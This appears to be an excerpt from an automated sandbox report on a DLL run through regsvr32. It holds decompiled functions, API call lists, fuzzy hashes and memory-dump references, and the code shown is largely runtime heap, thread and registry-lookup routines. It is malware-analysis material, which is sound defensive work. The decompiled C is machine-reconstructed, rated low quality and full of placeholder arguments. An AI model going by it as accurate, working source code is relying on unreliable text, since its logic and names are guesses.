FlsSetValue.KERNEL32(?,?,00000000,100320BD), ref: 1003623C

Part of subcall function 10035DC0: GetModuleHandleA.KERNEL32(?,?,?,?,10035F2C,?,?,?,?,10032429,?,?,?,?,1002E31C), ref: 10035DE0
Part of subcall function 10035DC0: GetProcAddress.KERNEL32(?,?,?,?,10035F2C,?,?,?,?,10032429,?,?,?,?,1002E31C), ref: 10035E0D
Part of subcall function 10035DC0: GetProcAddress.KERNEL32(?,?,?,?,10035F2C,?,?,?,?,10032429,?,?,?,?,1002E31C), ref: 10035E24

GetCurrentThreadId.KERNEL32(?,?,00000000,100320BD), ref: 10036250
FlsFree.KERNEL32(?,?,00000000,100320BD), ref: 10036276
TlsFree.KERNEL32(?,?,00000000,100320BD), ref: 10036291

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressFreeProc$AllocCurrentHandleModuleSleepThreadValue
String ID:
API String ID: 1982936056-0
Opcode ID: 44902df736247e8951420a1c8e551ed30fbc2252c0a0ae1d7298ff77bff73b0a
Instruction ID: 61c1fb8d53d348798e1a3c29aed1fd1b00e49536b474ded52cf13b2145d516a9
Opcode Fuzzy Hash: 44902df736247e8951420a1c8e551ed30fbc2252c0a0ae1d7298ff77bff73b0a
Instruction Fuzzy Hash: 6011C234601E008AE747DF70ED453A932A1FB4C772F514314E4BA8A6E0EFB898C18751

Uniqueness

Uniqueness Score: -1.00%

Function 10028D48 Relevance: 6.3, APIs: 5, Instructions: 78
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 36%

			E10028D48(void* __ebx, void* __ecx, void* __edx, void* __esi, void** __rcx, long long* __rdx, void* __r8, void* __r9, void* __r11) {
				void* _t15;
				void* _t19;
				void* _t21;
				void* _t23;
				void* _t25;
				signed long long _t37;
				signed long long _t39;
				intOrPtr* _t40;
				signed long long _t43;
				void** _t49;
				signed long long _t50;
				void* _t51;
				void* _t52;
				void* _t54;
				void* _t55;
				long long* _t56;

				_t55 = __r11;
				_t54 = __r9;
				_t52 = __r8;
				_t48 = __rdx;
				_t40 = __rcx;
				_t25 = __esi;
				_t23 = __edx;
				_t21 = __ecx;
				_t19 = __ebx;
				 *((long long*)(_t51 + 0x20)) = 0xfffffffe;
				_t56 = __rdx;
				_t49 = __rcx;
				_t15 = 0 | __rdx != 0x00000000;
				if(_t15 == 0) {
					_t15 = E1000E3A4();
					asm("int3");
				}
				if( *_t40 == 0) {
					_t37 =  *0x100b7280; // 0x100b7290
					if(_t37 == 0) {
						 *((long long*)(_t51 + 0x68)) = 0x100b7290;
						E10028930(_t37, 0x100b7290);
						 *0x100b7280 = _t37;
						if(_t37 == 0) {
							E1000E3A4();
							asm("int3");
						}
					}
					_t15 = E10028980(_t21, _t23, _t25, _t37, _t52, _t55); // executed
					 *_t49 = _t15;
					if(_t15 == 0) {
						_t15 = E1000E3A4();
						asm("int3");
					}
				}
				_t39 =  *_t49;
				_t50 =  *0x100b7280; // 0x100b7290
				EnterCriticalSection(??);
				if(_t19 <= 0) {
					L14:
					LeaveCriticalSection();
					goto L15;
				} else {
					_t6 = _t50 + 0xc; // 0x11cec000000003
					if(_t19 >=  *_t6) {
						goto L14;
					}
					_t15 = TlsGetValue();
					if(_t37 == 0 || _t19 >=  *((intOrPtr*)(_t37 + 0x10))) {
						LeaveCriticalSection();
						goto L16;
					} else {
						_t37 =  *((intOrPtr*)(_t37 + 0x18));
						_t39 =  *((intOrPtr*)(_t37 + _t39 * 8));
						LeaveCriticalSection(??);
						L15:
						if(_t39 != 0) {
							L17:
							return _t15;
						}
						L16:
						 *_t56();
						_t39 = _t37;
						_t43 =  *0x100b7280; // 0x100b7290
						_t15 = E10028B78( *_t49, _t25, _t37, _t43, _t48, _t37, _t54);
						goto L17;
					}
				}
			}

0x10028d48
0x10028d48
0x10028d48
0x10028d48
0x10028d48
0x10028d48
0x10028d48
0x10028d48
0x10028d48
0x10028d53
0x10028d5c
0x10028d5f
0x10028d67
0x10028d6c
0x10028d6e
0x10028d73
0x10028d73
0x10028d77
0x10028d79
0x10028d83
0x10028d8c
0x10028d91
0x10028d97
0x10028da1
0x10028da3
0x10028da8
0x10028da8
0x10028da1
0x10028dac
0x10028db1
0x10028db5
0x10028db7
0x10028dbc
0x10028dbc
0x10028db5
0x10028dbd
0x10028dc0
0x10028dcb
0x10028dd3
0x10028e0d
0x10028e11
0x00000000
0x10028dd5
0x10028dd5
0x10028dd8
0x00000000
0x00000000
0x10028ddd
0x10028de6
0x10028e05
0x00000000
0x10028ded
0x10028ded
0x10028df1
0x10028df9
0x10028e19
0x10028e1c
0x10028e35
0x10028e42
0x10028e42
0x10028e1e
0x10028e1e
0x10028e21
0x10028e29
0x10028e30
0x00000000
0x10028e30
0x10028de6

APIs

EnterCriticalSection.KERNEL32 ref: 10028DCB
TlsGetValue.KERNEL32 ref: 10028DDD
LeaveCriticalSection.KERNEL32 ref: 10028DF9
LeaveCriticalSection.KERNEL32 ref: 10028E05

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: CriticalSection$Leave$EnterValue
String ID:
API String ID: 3969253408-0
Opcode ID: abae18fddacd9562bf65a56a6426db23bc9eeb851401258162289e1c120f88aa
Instruction ID: 31c27043c2feef9cd5010815b10baed9f6940e2c9c7db4c3d991bd8944748898
Opcode Fuzzy Hash: abae18fddacd9562bf65a56a6426db23bc9eeb851401258162289e1c120f88aa
Instruction Fuzzy Hash: 5F21943A202A4285EB16DF21F8843987360FB487D4F9A4524FE6C47654EFB4EA85C341

Uniqueness

Uniqueness Score: -1.00%

Function 100062EC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E100062EC(long long* __rax) {
				long long* _t6;
				void* _t7;
				intOrPtr _t8;

				_t6 = __rax;
				_t8 =  *0x100b3b78; // 0x180000000
				E1000624C(1, _t7, _t8, "DllRegisterServer"); // executed
				 *_t6(); // executed
				return 0;
			}

0x100062ec
0x100062f0
0x10006303
0x10006308
0x10006310

APIs

RtlExitUserProcess.NTDLL ref: 10006308

Strings

DllRegisterServer, xrefs: 100062F7

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ExitProcessUser
String ID: DllRegisterServer
API String ID: 3902816426-1663957109
Opcode ID: 8675a75cc15496dc50c996ccd31d7b185c008b744e43a93b53dac39563e55961
Instruction ID: f5a31331f8bf012a7e02bdb38026e7d295c626f9668daa666956f4dffdebb70c
Opcode Fuzzy Hash: 8675a75cc15496dc50c996ccd31d7b185c008b744e43a93b53dac39563e55961
Instruction Fuzzy Hash: 63C09B78711942D2F70567F5AC437C52352E78D380FD05412C94C93355CEADD6D68751

Uniqueness

Uniqueness Score: -1.00%

Function 10055BD4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E10055BD4(void* __rax) {
				short _t1;
				signed int _t2;
				void* _t8;
				void* _t11;
				void* _t12;
				void* _t13;
				void* _t14;
				void* _t18;
				void* _t19;
				void* _t20;

				_t1 = GlobalAddAtomW(); // executed
				 *0x100b3b5c = _t1;
				_t2 = E10030060(__rax, _t8, E1005655C, _t11, _t12, _t13, _t14, _t18, _t19, _t20);
				asm("sbb eax, eax");
				return  ~_t2 - 1;
			}

0x10055bdf
0x10055bec
0x10030194
0x1003019c
0x100301a7

APIs

GlobalAddAtomW.KERNEL32 ref: 10055BDF

Strings

_Hyperlink_Object_Pointer_\{AFEED740-CC6D-47c5-831D-9848FD916EEF}, xrefs: 10055BD8

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: AtomGlobal
String ID: _Hyperlink_Object_Pointer_\{AFEED740-CC6D-47c5-831D-9848FD916EEF}
API String ID: 2189174293-66953215
Opcode ID: dc7d748ca1358b737f1ecfe960036c584ba46cd9599445cf8b4cc43ea0e794d1
Instruction ID: 8c9d5520ccd16dc90dfa2b462cc4fd05e1bb7c3d08a30d1a73dd93a5b6b99870
Opcode Fuzzy Hash: dc7d748ca1358b737f1ecfe960036c584ba46cd9599445cf8b4cc43ea0e794d1
Instruction Fuzzy Hash: B9C04C34652941D5E607DB15FCA53D42371F76C305F908817C99E432B4ABBD82DADF41

Uniqueness

Uniqueness Score: -1.00%

Function 1001CA34 Relevance: 3.1, APIs: 2, Instructions: 76
threadCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 69%

			E1001CA34(void* __ebx, void* __edx, void* __eflags, void* __rax, long long __rcx, void* __rdx, void* __r8, void* __r9, void* __r11, long long _a8) {
				long long _v40;
				void* __rbx;
				void* __rdi;
				void* __rsi;
				long _t40;
				void* _t45;
				void* _t46;
				signed int _t50;
				void* _t55;
				long long _t63;
				long long _t70;
				long long _t71;
				void* _t72;
				void* _t78;

				_t78 = __r11;
				_t77 = __r9;
				_t76 = __r8;
				_t51 = __edx;
				_t45 = __ebx;
				_a8 = __rcx;
				_v40 = 0xfffffffe;
				_t63 = __rcx; // executed
				E1001D034(__eflags, __rax, __rcx); // executed
				 *_t63 = 0x10098ff8;
				if(__rdx == _t71) {
					 *((long long*)(_t63 + 0xa0)) = _t71;
				} else {
					E100337E0(_t46, __edx, 0, 0x10098ff8, _t63, __rdx, __rdx, _t71, _t72, __r8, __r9);
					 *((long long*)(_t63 + 0xa0)) = 0x10098ff8;
				}
				E1001A994(_t45, _t51, 0, 0x10098ff8, _t76, _t77, _t78);
				_t70 = 0x10098ff8;
				_t55 = 0x10098ff8 - _t71;
				_t48 = 0 | _t55 == 0x00000000;
				if(_t55 == 0) {
					E1000E3A4();
					asm("int3");
				}
				E10028D48(_t45, _t48, _t51, 0, 0x100990b8, 0x10019f90, _t76, _t77, _t78);
				_t50 = 0 | 0x10098ff8 != _t71;
				if(_t50 == 0) {
					E1000E3A4();
					asm("int3");
				}
				if(_t50 == 0) {
					E1000E3A4();
					asm("int3");
				}
				 *0x10099000 = _t63;
				GetCurrentThread();
				 *((long long*)(_t63 + 0x58)) = 0x10098ff8;
				_t40 = GetCurrentThreadId();
				 *(_t63 + 0x60) = _t40;
				 *((long long*)(_t70 + 8)) = _t63;
				 *((long long*)(_t63 + 0x88)) = _t71;
				 *((long long*)(_t63 + 0xf8)) = _t71;
				 *((long long*)(_t63 + 0xc8)) = _t71;
				 *((long long*)(_t63 + 0xd0)) = _t71;
				 *((long long*)(_t63 + 0xa8)) = _t71;
				 *((long long*)(_t63 + 0xc0)) = _t71;
				 *((long long*)(_t63 + 0x110)) = _t71;
				 *((long long*)(_t63 + 0xb0)) = _t71;
				 *((short*)(_t63 + 0x122)) = 0;
				 *((short*)(_t63 + 0x120)) = 0;
				 *((long long*)(_t63 + 0x90)) = _t71;
				 *((long long*)(_t63 + 0x118)) = _t71;
				 *((intOrPtr*)(_t63 + 0x100)) = 0;
				 *((long long*)(_t63 + 0x108)) = _t71;
				 *((long long*)(_t63 + 0xe0)) = _t71;
				 *((long long*)(_t63 + 0xe8)) = _t71;
				 *((intOrPtr*)(_t63 + 0x124)) = 0;
				 *((long long*)(_t63 + 0x130)) = _t71;
				 *((intOrPtr*)(_t63 + 0xb8)) = 0;
				 *((intOrPtr*)(_t63 + 0xd8)) = 0;
				 *((long long*)(_t63 + 0x128)) = 0x200;
				return _t40;
			}

0x1001ca34
0x1001ca34
0x1001ca34
0x1001ca34
0x1001ca34
0x1001ca34
0x1001ca40
0x1001ca4c
0x1001ca4f
0x1001ca5c
0x1001ca64
0x1001ca77
0x1001ca66
0x1001ca69
0x1001ca6e
0x1001ca6e
0x1001ca7e
0x1001ca83
0x1001ca88
0x1001ca8b
0x1001ca90
0x1001ca92
0x1001ca97
0x1001ca97
0x1001caa6
0x1001cab0
0x1001cab5
0x1001cab7
0x1001cabc
0x1001cabc
0x1001cabf
0x1001cac1
0x1001cac6
0x1001cac6
0x1001cac7
0x1001cacb
0x1001cad1
0x1001cad5
0x1001cadb
0x1001cade
0x1001cae2
0x1001cae9
0x1001caf0
0x1001caf7
0x1001cafe
0x1001cb05
0x1001cb0c
0x1001cb13
0x1001cb1a
0x1001cb21
0x1001cb28
0x1001cb2f
0x1001cb36
0x1001cb3c
0x1001cb43
0x1001cb4a
0x1001cb51
0x1001cb57
0x1001cb5e
0x1001cb64
0x1001cb6a
0x1001cb7f

APIs

GetCurrentThread.KERNEL32 ref: 1001CACB
GetCurrentThreadId.KERNEL32 ref: 1001CAD5

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 6e46ef41f228736f0acf599810d2f7b5942260b3e91cebf665ae0abad63c8428
Instruction ID: 2a53f83cf39cb3442a6905f861f2c7e80a0cccf71e615e14bcc4c1b4a7815ef1
Opcode Fuzzy Hash: 6e46ef41f228736f0acf599810d2f7b5942260b3e91cebf665ae0abad63c8428
Instruction Fuzzy Hash: FD310036111BA585E702DF20E44439C33A9FB04F98F19823AEAD80BB98DF7484A6C361

Uniqueness

Uniqueness Score: -1.00%

Function 100341E0 Relevance: 3.0, APIs: 2, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(?,?,?,?,1003209C), ref: 100341F2
HeapSetInformation.KERNELBASE ref: 10034221

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Heap$CreateInformation
String ID:
API String ID: 1774340351-0
Opcode ID: 1f2d9eee5201d59c1dc10c21771b89d80a0313910480713119c18fd593c11f5e
Instruction ID: c426a8c70cf7dc2c7da12f7f1339c8b517b5d197a60bed8e14f9c39215bab455
Opcode Fuzzy Hash: 1f2d9eee5201d59c1dc10c21771b89d80a0313910480713119c18fd593c11f5e
Instruction Fuzzy Hash: 99E048B5B116C086E78A5B11AC457857650F7DC741F905019F94D42B54EE7CC1858F00

Uniqueness

Uniqueness Score: -1.00%

Function 1002E330 Relevance: 2.5, APIs: 2, Instructions: 19
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 58%

			E1002E330(int* __rax, void* __rcx) {
				void* _t1;
				int _t2;
				void* _t10;
				int* _t12;
				intOrPtr _t14;

				if(__rcx != 0) {
					_t14 =  *0x100b7a58; // 0x2230000
					_t2 = HeapFree(_t10, ??); // executed
					if(_t2 == 0) {
						E10032420(__rax);
						_t12 = __rax;
						_t2 = E100323D0(GetLastError(), _t14);
						 *_t12 = _t2;
					}
					return _t2;
				}
				return _t1;
			}

0x1002e333
0x1002e33d
0x1002e346
0x1002e34e
0x1002e350
0x1002e355
0x1002e360
0x1002e365
0x1002e365
0x00000000
0x1002e36b
0x1002e36c

APIs

HeapFree.KERNEL32 ref: 1002E346
GetLastError.KERNEL32(?,?,00000000,10035F46,?,?,?,?,10032429,?,?,?,?,1002E31C), ref: 1002E358

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 799904c2b9df5e0b3af3643fc721b0034c45f5be6bf3276aa6a988ec1bdf8fc3
Instruction ID: 63226185503194be387a3dd6fd8a5cbeb3f0455e25113b062ede986e25a32963
Opcode Fuzzy Hash: 799904c2b9df5e0b3af3643fc721b0034c45f5be6bf3276aa6a988ec1bdf8fc3
Instruction Fuzzy Hash: F6E0C234B0124082FF06DBB278483AA22D4FBACB82F845020AC0A4B201DE7C86C08700

Uniqueness

Uniqueness Score: -1.00%

Function 1002E260 Relevance: 1.6, APIs: 1, Instructions: 50
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 78%

			E1002E260(intOrPtr* __rax, long long __rbx, void* __rcx, long long __rdi, long long __rsi, long long _a16, long long _a24, long long _a32) {
				void* _t11;
				void* _t29;
				intOrPtr _t33;
				void* _t36;
				void* _t40;
				void* _t42;
				void* _t43;
				void* _t44;
				void* _t45;

				_t37 = __rdi;
				_t26 = __rax;
				_a16 = __rbx;
				_t29 = __rcx;
				if(__rcx > 0xffffffe0) {
					E10034280(__rax, __rcx);
					E10032420(__rax);
					 *__rax = 0xc;
					__eflags = 0;
					return 0;
				} else {
					_a24 = __rsi;
					_t40 =  !=  ? __rcx : __rsi;
					_a32 = __rdi;
					while(1) {
						_t33 =  *0x100b7a58; // 0x2230000
						_t22 = _t33;
						if(_t33 == 0) {
							E10033EB0(E100340F0(_t22, _t26, _t29, _t33, _t36, _t37, _t42, _t43, _t44, _t45), 0x1e, 0, _t29, _t33, _t36, _t37, _t40, _t42, _t43, _t44, _t45);
							E100332A0();
						}
						_t42 = _t40;
						_t11 = RtlAllocateHeap(??, ??, ??); // executed
						_t37 = _t26;
						if(_t26 != 0) {
							break;
						}
						if( *0x100b7a68 == _t11) {
							E10032420(_t26);
							 *_t26 = 0xc;
							goto L9;
						} else {
							if(E10034280(_t26, _t29) != 0) {
								continue;
							} else {
								L9:
								_t11 = E10032420(_t26);
								 *_t26 = 0xc;
							}
						}
						break;
					}
					return _t11;
				}
			}

0x1002e260
0x1002e260
0x1002e268
0x1002e26d
0x1002e270
0x1002e312
0x1002e317
0x1002e321
0x1002e327
0x1002e32d
0x1002e276
0x1002e276
0x1002e283
0x1002e287
0x1002e290
0x1002e290
0x1002e297
0x1002e29a
0x1002e2a6
0x1002e2b0
0x1002e2b5
0x1002e2bc
0x1002e2c1
0x1002e2ca
0x1002e2cd
0x00000000
0x00000000
0x1002e2d5
0x1002e2e5
0x1002e2ea
0x00000000
0x1002e2d7
0x1002e2e1
0x00000000
0x1002e2e3
0x1002e2f0
0x1002e2f0
0x1002e2f5
0x1002e2f5
0x1002e2e1
0x00000000
0x1002e2d5
0x1002e311
0x1002e311

APIs

RtlAllocateHeap.NTDLL(?,?,?,?,1000E249), ref: 1002E2C1

Part of subcall function 100332A0: GetModuleHandleA.KERNEL32(?,?,00000000,10040A21,?,?,?,?,10040B17), ref: 100332AF
Part of subcall function 100332A0: GetProcAddress.KERNEL32(?,?,00000000,10040A21,?,?,?,?,10040B17), ref: 100332C4
Part of subcall function 100332A0: ExitProcess.KERNEL32 ref: 100332D5

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressAllocateExitHandleHeapModuleProcProcess
String ID:
API String ID: 3260311492-0
Opcode ID: 744f6af00cec7bcf363486856f2d57869e13729c512f81027c55a2578a9dabef
Instruction ID: 1af7cd821d69d7fdbb27d4f10673da350c036b642e69cb1f16e26d7b797f947c
Opcode Fuzzy Hash: 744f6af00cec7bcf363486856f2d57869e13729c512f81027c55a2578a9dabef
Instruction Fuzzy Hash: DD11CE38305381C5EB46DB62B84032E73A4FBC9BD1F891624FB4A4BB85CE3CD8808700

Uniqueness

Uniqueness Score: -1.00%

Function 10038810 Relevance: 1.3, APIs: 1, Instructions: 30
sleepCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 44%

			E10038810(void* __ecx, intOrPtr* __rax, long long __rbx, void* __rcx, long long __rdi, long long __rsi, long long __rbp, long long _a8, long long _a16, long long _a24, long long _a32) {
				void* _t10;
				void* _t18;
				intOrPtr* _t21;
				long long _t27;
				void* _t30;

				_t27 = __rdi;
				_t23 = __rbx;
				_t21 = __rax;
				_a16 = __rbp;
				_a24 = __rsi;
				_a32 = __rdi;
				_a8 = __rbx;
				_t30 = __rcx;
				while(1) {
					_t10 = E1002E260(_t21, _t23, _t30, _t27, _t30); // executed
					_t23 = _t21;
					if(_t21 != 0) {
						break;
					}
					_t18 =  *0x100b7ff0 - _t10; // 0x0
					if(_t18 > 0) {
						Sleep();
						_t5 = _t27 + 0x3e8; // 0x3e8
						r11d = _t5;
						_t13 =  >  ? 0xffffffff : r11d;
						if(( >  ? 0xffffffff : r11d) != 0xffffffff) {
							continue;
						} else {
						}
					}
					break;
				}
				return _t10;
			}

0x10038810
0x10038810
0x10038810
0x10038814
0x10038819
0x1003881e
0x10038825
0x1003882a
0x10038832
0x10038835
0x1003883d
0x10038840
0x00000000
0x00000000
0x10038842
0x10038848
0x1003884c
0x10038852
0x10038852
0x10038863
0x10038868
0x00000000
0x1003886a
0x1003886a
0x10038868
0x00000000
0x10038848
0x10038885

APIs

Part of subcall function 1002E260: RtlAllocateHeap.NTDLL(?,?,?,?,1000E249), ref: 1002E2C1

Sleep.KERNEL32(?,?,?,?,10040A43,?,?,?,?,10040B17), ref: 1003884C

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: AllocateHeapSleep
String ID:
API String ID: 4201116106-0
Opcode ID: 8478574b8ffa81c4804a3ce005f441f95b7ef563b47cb69f7a976ba62de1f6a0
Instruction ID: e079a33d894bec580818ebd30d2403c990ea8b2b46403ee6ecc5e02177028904
Opcode Fuzzy Hash: 8478574b8ffa81c4804a3ce005f441f95b7ef563b47cb69f7a976ba62de1f6a0
Instruction Fuzzy Hash: D3F0CD3A615B85CAC6029F02B84034DB3A5F388BD1F980124FF8E0BB59CF39D8928B00

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 1001C3CC Relevance: 45.8, APIs: 20, Strings: 6, Instructions: 331
registrylibraryloaderCOMMONCrypto

Download Yara Rule

C-Code - Quality: 19%

			E1001C3CC(char* __rcx, void* __r8, char* __r9) {
				signed int _v56;
				char _v344;
				char _v355;
				char _v356;
				char _v616;
				char _v632;
				long long _v640;
				long long _v656;
				long long _v680;
				intOrPtr _v684;
				char _v688;
				long long _v696;
				int _v708;
				int _v712;
				int _v716;
				int _v720;
				signed int* _v728;
				char _v732;
				signed short _v736;
				signed int _v744;
				signed int* _v752;
				char _v756;
				signed int _v760;
				void* _v768;
				signed short* _v776;
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				int _t92;
				signed int _t93;
				signed int _t117;
				signed int _t118;
				void* _t120;
				signed short _t121;
				signed short _t126;
				signed short _t130;
				signed int _t135;
				signed int _t136;
				void* _t137;
				signed int _t139;
				signed int _t140;
				signed short _t146;
				signed short _t150;
				signed int _t164;
				signed int _t174;
				signed long long _t179;
				signed long long _t180;
				signed int* _t183;
				long long* _t184;
				signed int* _t189;
				char* _t213;
				long long* _t216;
				signed long long _t222;
				signed long long _t223;
				void* _t225;
				signed int _t226;
				signed long long _t227;
				long long* _t230;
				long long* _t231;
				long long* _t233;
				long long* _t236;
				char* _t237;

				_t235 = __r9;
				_t227 =  &_v768;
				_v696 = 0xfffffffe;
				_t179 =  *0x100b1640; // 0xf93099fb11e7
				_t180 = _t179 ^ _t227;
				_v56 = _t180;
				_t237 = __rcx;
				_v760 = 0;
				_t135 = 0;
				GetModuleHandleA(??);
				_t223 = _t180;
				_t213 = "GetUserDefaultUILanguage";
				GetProcAddress(??, ??);
				if(_t180 == 0) {
					GetVersion();
					asm("bt eax, 0x1f");
					if(__eflags >= 0) {
						GetModuleHandleA();
						__eflags = _t180;
						if(_t180 != 0) {
							_v760 = 0;
							_v776 =  &_v760;
							_t235 = 0x1001ba28;
							_t32 = _t213 - 0xf; // 0x1
							r8d = _t32;
							EnumResourceLanguagesA(??, ??, ??, ??, ??);
							r11d = _v760 & 0x0000ffff;
							__eflags = r11w;
							if(r11w != 0) {
								_t146 = r11w & 0xffffffff;
								_t139 = _t146 & 0x3ff;
								__eflags = _t146 & 0xfc00 | _t139;
								_v720 = ConvertDefaultLocale(??);
								_t143 = _t139;
								_v716 = ConvertDefaultLocale(??);
								_t135 = 2;
							}
						}
					} else {
						_v728 = _t189;
						_v776 =  &_v728;
						r9d = 0x20019;
						r8d = 0;
						_t117 = RegOpenKeyExA(??, ??, ??, ??, ??);
						__eflags = _t117;
						if(_t117 == 0) {
							_v756 = 0x10;
							_v768 =  &_v756;
							_v776 =  &_v632;
							_t235 =  &_v732;
							r8d = 0;
